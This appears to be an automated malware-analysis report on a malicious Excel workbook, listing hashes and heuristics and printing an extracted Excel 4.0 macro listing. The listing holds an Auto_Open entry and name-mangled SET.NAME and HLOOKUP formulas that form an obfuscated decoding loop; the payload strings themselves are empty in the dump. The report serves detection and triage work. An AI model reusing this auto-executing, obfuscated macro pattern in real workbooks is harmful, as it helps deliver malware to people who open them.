Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 63a60c6b0da0139d…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-27 11:45:58 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 894a16e0c32171bb515829c209971dfc SHA-1: 5c2dd7bb5fab26b5507a8a6a0ce08e212cf58b34 SHA-256: 63a60c6b0da0139d3f2436c0858a8e5635d5c109cae908b72bdc86d2fcb03a1b
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6715 bytes
SHA-256: 86d8c7b06fa3e2d4b4c5dc8f1d3fef6d29051d224d43b03bd1909214296a9965
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 39 identifiers look randomly generated (e.g. 'TlBudzUUWYmR') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  eswDwdF
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E161 
' 0018     23 LABEL : Cell Value, String Constant - ciJlslaC len=0 
' 0018     20 LABEL : Cell Value, String Constant - cmdgl len=0 
' 0018     23 LABEL : Cell Value, String Constant - GjaWQGoV len=0 
' 0018     21 LABEL : Cell Value, String Constant - iuhKAO len=0 
' 0018     26 LABEL : Cell Value, String Constant - IVrmbYXMvwk len=0 
' 0018     25 LABEL : Cell Value, String Constant - kTpGqJVFXX len=0 
' 0018     22 LABEL : Cell Value, String Constant - lDagjBw len=0 
' 0018     22 LABEL : Cell Value, String Constant - lkrbmqX len=0 
' 0018     21 LABEL : Cell Value, String Constant - naxLNY len=0 
' 0018     22 LABEL : Cell Value, String Constant - OmyJzrj len=0 
' 0018     26 LABEL : Cell Value, String Constant - rDTwKJJnHOw len=0 
' 0018     21 LABEL : Cell Value, String Constant - SDjhOj len=0 
' 0018     26 LABEL : Cell Value, String Constant - soyGCUVjFzy len=0 
' 0018     27 LABEL : Cell Value, String Constant - TlBudzUUWYmR len=0 
' 0018     24 LABEL : Cell Value, String Constant - TVDCgOpIJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - ULfVlvXRXVry len=0 
' 0018     23 LABEL : Cell Value, String Constant - wQSYBSCq len=0 
' 0018     25 LABEL : Cell Value, String Constant - YFQHWXTLuX len=0 
' 0018     27 LABEL : Cell Value, String Constant - zjaENzcqJtDP len=0 
' 0018     21 LABEL : Cell Value, String Constant - zyeQOV len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  eswDwdF,T69,"",715.00000000000000000000
'  eswDwdF,T70,"",-946.00000000000000000000
'  eswDwdF,E71,"SET.NAME("rDTwKJJnHOw",0+VALUE("0"))",""
'  eswDwdF,T71,"",-642.00000000000000000000
'  eswDwdF,T72,"",433.00000000000000000000
'  eswDwdF,T73,"",746.00000000000000000000
'  eswDwdF,E74,"SET.NAME("lkrbmqX",rDTwKJJnHOw)",""
'  eswDwdF,T74,"",895.00000000000000000000
'  eswDwdF,E76,"SET.NAME("OmyJzrj",rDTwKJJnHOw)",""
'  eswDwdF,E79,"SET.NAME("TlBudzUUWYmR",COUNTA(SDjhOj))",""
'  eswDwdF,E81,"SET.NAME("soyGCUVjFzy",COUNTA(YFQHWXTLuX))",""
'  eswDwdF,E84,[],""
'  eswDwdF,E88,"SET.NAME("cmdgl","")",""
'  eswDwdF,E92,"lkrbmqX",""
'  eswDwdF,E94,"SET.NAME("kTpGqJVFXX",HLOOKUP("*",SDjhOj,lkrbmqX,FALSE))",""
'  eswDwdF,E98,"IVrmbYXMvwk",""
'  eswDwdF,E102,"SET.NAME("TVDCgOpIJ",rDTwKJJnHOw)",""
'  eswDwdF,E106,[],""
'  eswDwdF,E110,"TVDCgOpIJ",""
'  eswDwdF,E112,"wQSYBSCq",""
'  eswDwdF,E114,"ciJlslaC",""
'  eswDwdF,E119,"zjaENzcqJtDP",""
'  eswDwdF,E122,"SET.NAME("lDagjBw",VALUE(HLOOKUP("*",YFQHWXTLuX,zjaENzcqJtDP,FALSE)))",""
'  eswDwdF,E126,"GjaWQGoV",""
'  eswDwdF,E130,"cmdgl",""
'  eswDwdF,E134,"OmyJzrj",""
'  eswDwdF,E136,NEXT(),""
'  eswDwdF,E140,"iuhKAO",""
'  eswDwdF,E143,[],""
'  eswDwdF,E147,"ULfVlvXRXVry",""
'  eswDwdF,E151,NEXT(),""
'  eswDwdF,E156,RETURN(),""
'  eswDwdF,E187,"SET.NAME("zyeQOV",E71)",""
'  eswDwdF,E189,"SDjhOj",""
'  eswDwdF,E194,"SET.NAME("YFQHWXTLuX",R69C14)",""
'  eswDwdF,E197,"SET.NAME("ULfVlvXRXVry",206)",""
'  eswDwdF,E200,"SET.NAME("naxLNY",5)",""
'  eswDwdF,E205,zyeQOV(),""
'  eswDwdF,E206,HALT(),""

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